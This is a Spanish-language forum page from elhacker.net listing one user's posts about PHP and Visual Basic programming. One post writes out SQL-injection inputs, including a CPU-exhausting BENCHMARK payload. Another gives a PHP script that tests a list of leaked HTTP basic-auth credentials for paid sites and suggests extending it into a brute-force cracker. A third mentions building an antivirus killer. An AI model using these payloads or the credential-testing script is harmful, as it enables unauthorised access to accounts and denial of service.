elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Temas
Páginas: [1] 2 3
1  Seguridad Informática / Nivel Web / mysql_real_escape_string no es suficiente en: 28 Agosto 2009, 01:50 am
Hola. Siempre uso la función mysql_real_escape_string() de PHP para evitar inyecciones sql, entonces la uso en todas las variables $_GET y $_POST.
Me acabo de dar cuenta de que esta función permite inyección de código que no tiene comillas simples no dobles, por ejemplo:
http://ejemplo.com/index.php?id=%274
El "%274"  vale lo mismo que la comilla simple, entonces ya se puede inyectar sql en mi web!
También vi que se puede inyectar código poniendo una inyección sin comillas por ejemplo:
http://ejemplo.com/index.php?id=4 AND BENCHMARK(99999999,MD5(0x123123));
con "AND BENCHMARK(99999999,MD5(0x123123));" se genera un DoS en mi servidor, porque consume mucho procesador.
¿Existe una forma de que se limpien absolutamente todo tipo de inyección? Es decir, que no sea tan mala como mysql_real_escape_string que permite inyectar lo que mostré de ejemplo.
Muchas gracias de antemano :)
2  Programación / PHP / Probador de passwrods para webs en: 11 Abril 2009, 17:30 pm
Hola. Me cruzé con un listado de 600 URL's con acceso a webs XXX pagas :P
Ejemplo de las URL's que tengo:
Código:
http://qlysp1oon:B4k71D8gj2@dominio.com/members/
Esa webs está protegida con autentificación básica del protocolo HTTP.
El usuario es "qlysp1oon" y la pass es "B4k71D8gj2", lo que está después de la "@" es la URL a la que se accederá si colocamos la pass correcta.
El problema es que en este listado hay muchas contraseñas que son incorrectas, entonces con un simple script en PHP podemos probar cada URL para saber si funciona :D

<?php
$a=fopen("NOMBRE DEL ARCHIVO QUE CONTIENE URL'S", "r");
$c="";
while(!feof($a)){
   $c.=fread($a, 1024);
}
fclose($a);

$urls=explode("\r\n", $c);
foreach($urls as $url){
   if(@fopen($url, "r")){
      echo "Esta URL es correcta: $url\n";
   }
}
?>

Debes poner el archivo de texto con las URLS en le mismo directorio que el script y escribir el nombre del listado en la primer línea, en donde se indica.
Nos mostrará cada URL que es correcta.
Modificando un poquito el code podemos hacer un crackeador de fuerza bruta o también muchas otras cosas útiles ;)

Saludos!
3  Programación / Programación Visual Basic / Bajar automáticamente el scrollbar de un textbox o richbox en: 22 Enero 2007, 04:22 am
Hola, tengo un texbox en un programa, es algo como un cliente de IRC, y a medida que me llegan los datos yo los pongo en un textbox, pero tengo que andar bajando el scrollbar a cada rato.
El textbox queda así:

y yo quiero que automáticamente baje quedando así:

¿Hay alguna forma de hacer esto?
Saludetes!
4  Programación / Programación Visual Basic / Hacer un array de winsock (con la api) en: 13 Enero 2007, 22:53 pm
hola, necesito usar un array de winsock, pero estoy usando la api, y no puedo crearla... ¿Cómo se podría hacer?
Saludetes ::)
5  Programación / PHP / Cómo uso phpMyAdmin? en: 2 Enero 2007, 05:04 am
Hola, quiero experimentar con bases de datos, entonces me instalé un servidor de mysql, para administrarla me bajé el famoso phpMyAdmin, pero no sé como usarlo...
Supongamos que quiero guardar datos de personas, por ejemplo: nombre, mail y telefono. Necesitaría esos 3 campos... Pero no sé cómo crearlos... Primero cree una base de datos, luego una tabla, y luego los 3 campos, pero no sé cómo ingresar los datos que tengo.
Espero haberme expresado bien
japi 2007!
Saludetes
6  Programación / Programación Visual Basic / Sacar palabras repetidas de un textbox en: 20 Diciembre 2006, 01:27 am
Hola, tengo este problemilla... tengo un textbox con algunas palabras y necesito sacar las palabras repetidas.
hice este code:
Código:
Dim a, b As Integer
dim url() as string
url() = Split(Text2.Text, vbCrLf)

For a = 0 To UBound(url)
For b = 1 To UBound(url)
If url(a) = url(b) Then
MsgBox "palabra repetida: " & url(a)
End If
Next b
Next a
por ejemplo en el textbox tengo esto:
linux
windows
windows
unix
windows
rojo
blanco
rojo
y me debería decir que palabras están repetidas... pero me dice cualquier cosa...
¿Cuál puede ser el problema?
ah, y otra cosa, como puedo hacer para sacar el texto repetido?
saludos
7  Programación / Programación Visual Basic / Obtener c:\archivos de programa en: 13 Diciembre 2006, 16:54 pm
Hola, estoy programando un kill av (en vb), necesito obtener la ruta "C:\archivos de programa". Busqué en google y en el api-guide y no encontré ninguna api para obtener esta ruta... Entonces lo que hago es:
Código:
shell "echo %programfiles% > c:\archivo.txt"
luego leo c:\archivo.txt  y ahí tengo la ruta de la preciada carpeta... Yo tengo windows xp professional y me pone 3 caracteres adelante de la carpeta (por ejemplo escribe esto: "c:\archivos de programa   ", sin las comillas) y se los saco porque no sirven. Quiero saber si alguno de ustedes que tenga otra versión de windows cómo es que lo escribe la shell, osea, si le pone 3 caracteres inútiles al final de la ruta o que otra cosa... O si por casualidad saben alguna api para obtener la ruta :D
Saludos y gracias
pd: creo que este tema iba en virus y troyanos... perdón si me equivoqué
8  Programación / PHP / Saber la cantidad de caracteres que tiene una varible en: 11 Diciembre 2006, 19:32 pm
Hola, estoy haciendo un par de formularios en PHP y tengo que saber cuántos caracteres tiene una variable (por ejemplo para que no me pongan un mail de 500 caracteres :P)
¿Hay alguna función que haga esto?
Salud0s
9  Programación / Programación Visual Basic / Variables con el cero adelande (0001) en: 8 Diciembre 2006, 22:29 pm
Hola, estoy haciendo un programa para generar listas de números. Por ejemplo: desde el 0001 hasta el 9999. Claro, muy fácil, con un bucle for se podría hacer, pero yo necesito que me ponga los ceros adelante. Poque si hago esto:
Código:
dim i as long
i=0001
la variable i va a tener el valor 1 y yo quiero que tenga el valor 0001 ¿Cómo se podría hacer esto?
Espero que se alla entendido... Gracias a quién pueda ayudarme
saludetes
10  Programación / Programación Visual Basic / Sacar datos de una variable en: 10 Octubre 2006, 14:27 pm
Hola, siempre necesite saber esto ¿es posible sacar datos de una variable? por ejemplo en una variable tengo: "sopapeame la papirola" y yo quiero sacar la palabra "papirola" ¿como hago?
graxias de antemano
Páginas: [1] 2 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines